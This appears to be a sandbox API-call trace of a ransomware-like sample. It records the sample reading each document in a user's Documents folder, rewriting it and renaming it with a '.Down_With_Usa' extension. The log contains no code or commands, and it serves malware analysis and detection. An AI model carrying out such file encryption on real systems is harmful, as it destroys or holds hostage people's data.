[0119.091] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\d slaxc-.rtf"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f922da0, ftCreationTime.dwHighDateTime=0x1d5e260, ftLastAccessTime.dwLowDateTime=0x2cbbdb70, ftLastAccessTime.dwHighDateTime=0x1d5e5c3, ftLastWriteTime.dwLowDateTime=0x237301e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xd770)) returned 1
[0119.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0119.091] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\d slaxc-.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\d slaxc-.rtf.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\d slaxc-.rtf.down_with_usa")) returned 1
[0119.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots", lpFilePart=0x0) returned 0x4a
[0119.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0119.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\mahi4k3ou1.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0119.092] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xc88d
[0119.092] ReadFile (in: hFile=0x3a8, lpBuffer=0x2668db8, nNumberOfBytesToRead=0xc88d, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x2668db8*, lpNumberOfBytesRead=0x2eb8d8*=0xc88d, lpOverlapped=0x0) returned 1
[0119.132] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots", lpFilePart=0x0) returned 0x4a
[0119.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0119.132] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\mahi4k3ou1.ots"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0119.154] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots", lpFilePart=0x0) returned 0x4a
[0119.155] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots.Down_With_Usa", lpFilePart=0x0) returned 0x58
[0119.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0119.155] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\mahi4k3ou1.ots"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ff0130, ftCreationTime.dwHighDateTime=0x1d5dc2a, ftLastAccessTime.dwLowDateTime=0xea0a1210, ftLastAccessTime.dwHighDateTime=0x1d5dfb9, ftLastWriteTime.dwLowDateTime=0x237a2600, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xc890)) returned 1
[0119.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0119.155] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\mahi4k3ou1.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\mAHI4K3oU1.ots.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\mahi4k3ou1.ots.down_with_usa")) returned 1
[0119.156] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc", lpFilePart=0x0) returned 0x46
[0119.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0119.156] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\ycnc o.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0119.156] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0x18f39
[0119.158] ReadFile (in: hFile=0x3a8, lpBuffer=0x13f7faf8, nNumberOfBytesToRead=0x18f39, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x13f7faf8*, lpNumberOfBytesRead=0x2eb8d8*=0x18f39, lpOverlapped=0x0) returned 1
[0119.236] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc", lpFilePart=0x0) returned 0x46
[0119.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
[0119.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\ycnc o.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb790) returned 1
[0119.244] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc", lpFilePart=0x0) returned 0x46
[0119.244] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc.Down_With_Usa", lpFilePart=0x0) returned 0x54
[0119.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb920) returned 1
[0119.244] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\ycnc o.doc"), fInfoLevelId=0x0, lpFileInformation=0x2eba00 | out: lpFileInformation=0x2eba00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b721500, ftCreationTime.dwHighDateTime=0x1d5e6bb, ftLastAccessTime.dwLowDateTime=0xf2e9e010, ftLastAccessTime.dwHighDateTime=0x1d5e28c, ftLastWriteTime.dwLowDateTime=0x238acfa0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x18f40)) returned 1
[0119.244] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb8e0) returned 1
[0119.244] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\ycnc o.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\yCnC o.doc.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\ycnc o.doc.down_with_usa")) returned 1
[0119.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0119.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE", lpFilePart=0x0) returned 0x47
[0119.246] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\", lpFilePart=0x0) returned 0x48
[0119.246] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3566270, ftCreationTime.dwHighDateTime=0x1d5dbee, ftLastAccessTime.dwLowDateTime=0xe0a23c60, ftLastAccessTime.dwHighDateTime=0x1d5e50a, ftLastWriteTime.dwLowDateTime=0xe0a23c60, ftLastWriteTime.dwHighDateTime=0x1d5e50a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.246] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3566270, ftCreationTime.dwHighDateTime=0x1d5dbee, ftLastAccessTime.dwLowDateTime=0xe0a23c60, ftLastAccessTime.dwHighDateTime=0x1d5e50a, ftLastWriteTime.dwLowDateTime=0xe0a23c60, ftLastWriteTime.dwHighDateTime=0x1d5e50a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.247] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce347ef0, ftCreationTime.dwHighDateTime=0x1d5e61b, ftLastAccessTime.dwLowDateTime=0x2b3946a0, ftLastAccessTime.dwHighDateTime=0x1d5e7d2, ftLastWriteTime.dwLowDateTime=0x2b3946a0, ftLastWriteTime.dwHighDateTime=0x1d5e7d2, nFileSizeHigh=0x0, nFileSizeLow=0x78b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="6gN2xnNiJB1Z5U.pdf", cAlternateFileName="6GN2XN~1.PDF")) returned 1
[0119.247] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9f36470, ftCreationTime.dwHighDateTime=0x1d5e050, ftLastAccessTime.dwLowDateTime=0x96bf0a20, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x96bf0a20, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HlPex", cAlternateFileName="")) returned 1
[0119.247] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e9f500, ftCreationTime.dwHighDateTime=0x1d5dcee, ftLastAccessTime.dwLowDateTime=0x74b44240, ftLastAccessTime.dwHighDateTime=0x1d5dbe2, ftLastWriteTime.dwLowDateTime=0x74b44240, ftLastWriteTime.dwHighDateTime=0x1d5dbe2, nFileSizeHigh=0x0, nFileSizeLow=0xfbec, dwReserved0=0x0, dwReserved1=0x0, cFileName="oVGFua.odt", cAlternateFileName="")) returned 1
[0119.247] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ebe1e0, ftCreationTime.dwHighDateTime=0x1d5e754, ftLastAccessTime.dwLowDateTime=0x73bdb1d0, ftLastAccessTime.dwHighDateTime=0x1d5de96, ftLastWriteTime.dwLowDateTime=0x73bdb1d0, ftLastWriteTime.dwHighDateTime=0x1d5de96, nFileSizeHigh=0x0, nFileSizeLow=0x33d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VT2Sbxsmg.pptx", cAlternateFileName="VT2SBX~1.PPT")) returned 1
[0119.247] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74222690, ftCreationTime.dwHighDateTime=0x1d5e505, ftLastAccessTime.dwLowDateTime=0x305978f0, ftLastAccessTime.dwHighDateTime=0x1d5e0ff, ftLastWriteTime.dwLowDateTime=0x305978f0, ftLastWriteTime.dwHighDateTime=0x1d5e0ff, nFileSizeHigh=0x0, nFileSizeLow=0x11b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="w5FL.pps", cAlternateFileName="")) returned 1
[0119.247] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d3010, ftCreationTime.dwHighDateTime=0x1d5e651, ftLastAccessTime.dwLowDateTime=0x90349b60, ftLastAccessTime.dwHighDateTime=0x1d5e695, ftLastWriteTime.dwLowDateTime=0x90349b60, ftLastWriteTime.dwHighDateTime=0x1d5e695, nFileSizeHigh=0x0, nFileSizeLow=0x8e5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFSb.pptx", cAlternateFileName="XFSB~1.PPT")) returned 1
[0119.247] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4b2d100, ftCreationTime.dwHighDateTime=0x1d5e30d, ftLastAccessTime.dwLowDateTime=0x49ce7bf0, ftLastAccessTime.dwHighDateTime=0x1d5e0e1, ftLastWriteTime.dwLowDateTime=0x49ce7bf0, ftLastWriteTime.dwHighDateTime=0x1d5e0e1, nFileSizeHigh=0x0, nFileSizeLow=0x5dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y7Jpyl8-fYyxjIvflxS.ods", cAlternateFileName="Y7JPYL~1.ODS")) returned 1
[0119.247] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0119.247] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0119.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0119.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb580) returned 1
[0119.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE", nBufferLength=0x105, lpBuffer=0x2eb070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE", lpFilePart=0x0) returned 0x47
[0119.248] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\", nBufferLength=0x105, lpBuffer=0x2eb010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\", lpFilePart=0x0) returned 0x48
[0119.248] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\*", lpFindFileData=0x2eb220 | out: lpFindFileData=0x2eb220*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3566270, ftCreationTime.dwHighDateTime=0x1d5dbee, ftLastAccessTime.dwLowDateTime=0xe0a23c60, ftLastAccessTime.dwHighDateTime=0x1d5e50a, ftLastWriteTime.dwLowDateTime=0xe0a23c60, ftLastWriteTime.dwHighDateTime=0x1d5e50a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0119.248] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3566270, ftCreationTime.dwHighDateTime=0x1d5dbee, ftLastAccessTime.dwLowDateTime=0xe0a23c60, ftLastAccessTime.dwHighDateTime=0x1d5e50a, ftLastWriteTime.dwLowDateTime=0xe0a23c60, ftLastWriteTime.dwHighDateTime=0x1d5e50a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0119.248] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce347ef0, ftCreationTime.dwHighDateTime=0x1d5e61b, ftLastAccessTime.dwLowDateTime=0x2b3946a0, ftLastAccessTime.dwHighDateTime=0x1d5e7d2, ftLastWriteTime.dwLowDateTime=0x2b3946a0, ftLastWriteTime.dwHighDateTime=0x1d5e7d2, nFileSizeHigh=0x0, nFileSizeLow=0x78b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="6gN2xnNiJB1Z5U.pdf", cAlternateFileName="6GN2XN~1.PDF")) returned 1
[0119.248] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9f36470, ftCreationTime.dwHighDateTime=0x1d5e050, ftLastAccessTime.dwLowDateTime=0x96bf0a20, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x96bf0a20, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HlPex", cAlternateFileName="")) returned 1
[0119.248] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23e9f500, ftCreationTime.dwHighDateTime=0x1d5dcee, ftLastAccessTime.dwLowDateTime=0x74b44240, ftLastAccessTime.dwHighDateTime=0x1d5dbe2, ftLastWriteTime.dwLowDateTime=0x74b44240, ftLastWriteTime.dwHighDateTime=0x1d5dbe2, nFileSizeHigh=0x0, nFileSizeLow=0xfbec, dwReserved0=0x0, dwReserved1=0x0, cFileName="oVGFua.odt", cAlternateFileName="")) returned 1
[0119.248] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ebe1e0, ftCreationTime.dwHighDateTime=0x1d5e754, ftLastAccessTime.dwLowDateTime=0x73bdb1d0, ftLastAccessTime.dwHighDateTime=0x1d5de96, ftLastWriteTime.dwLowDateTime=0x73bdb1d0, ftLastWriteTime.dwHighDateTime=0x1d5de96, nFileSizeHigh=0x0, nFileSizeLow=0x33d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VT2Sbxsmg.pptx", cAlternateFileName="VT2SBX~1.PPT")) returned 1
[0119.248] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74222690, ftCreationTime.dwHighDateTime=0x1d5e505, ftLastAccessTime.dwLowDateTime=0x305978f0, ftLastAccessTime.dwHighDateTime=0x1d5e0ff, ftLastWriteTime.dwLowDateTime=0x305978f0, ftLastWriteTime.dwHighDateTime=0x1d5e0ff, nFileSizeHigh=0x0, nFileSizeLow=0x11b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="w5FL.pps", cAlternateFileName="")) returned 1
[0119.248] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d3010, ftCreationTime.dwHighDateTime=0x1d5e651, ftLastAccessTime.dwLowDateTime=0x90349b60, ftLastAccessTime.dwHighDateTime=0x1d5e695, ftLastWriteTime.dwLowDateTime=0x90349b60, ftLastWriteTime.dwHighDateTime=0x1d5e695, nFileSizeHigh=0x0, nFileSizeLow=0x8e5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="xFSb.pptx", cAlternateFileName="XFSB~1.PPT")) returned 1
[0119.249] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4b2d100, ftCreationTime.dwHighDateTime=0x1d5e30d, ftLastAccessTime.dwLowDateTime=0x49ce7bf0, ftLastAccessTime.dwHighDateTime=0x1d5e0e1, ftLastWriteTime.dwLowDateTime=0x49ce7bf0, ftLastWriteTime.dwHighDateTime=0x1d5e0e1, nFileSizeHigh=0x0, nFileSizeLow=0x5dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y7Jpyl8-fYyxjIvflxS.ods", cAlternateFileName="Y7JPYL~1.ODS")) returned 1
[0119.249] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb270 | out: lpFindFileData=0x2eb270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4b2d100, ftCreationTime.dwHighDateTime=0x1d5e30d, ftLastAccessTime.dwLowDateTime=0x49ce7bf0, ftLastAccessTime.dwHighDateTime=0x1d5e0e1, ftLastWriteTime.dwLowDateTime=0x49ce7bf0, ftLastWriteTime.dwHighDateTime=0x1d5e0e1, nFileSizeHigh=0x0, nFileSizeLow=0x5dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y7Jpyl8-fYyxjIvflxS.ods", cAlternateFileName="Y7JPYL~1.ODS")) returned 0
[0119.249] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0119.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb4d0) returned 1
[0119.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb490) returned 1
[0119.249] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf", nBufferLength=0x105, lpBuffer=0x2eadb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf", lpFilePart=0x0) returned 0x5a
[0119.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb290) returned 1
[0119.249] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\c27hlfzkowe\\6gn2xnnijb1z5u.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0119.249] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb200) returned 1
[0119.249] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb428 | out: lpFileSizeHigh=0x2eb428*=0x0) returned 0x78b1
[0119.249] ReadFile (in: hFile=0x3a8, lpBuffer=0x2668f58, nNumberOfBytesToRead=0x78b1, lpNumberOfBytesRead=0x2eb358, lpOverlapped=0x0 | out: lpBuffer=0x2668f58*, lpNumberOfBytesRead=0x2eb358*=0x78b1, lpOverlapped=0x0) returned 1
[0119.289] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf", nBufferLength=0x105, lpBuffer=0x2eadc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\c27HLfzKOWE\\6gN2xnNiJB1Z5U.pdf", lpFilePart=0x0) returned 0x5a
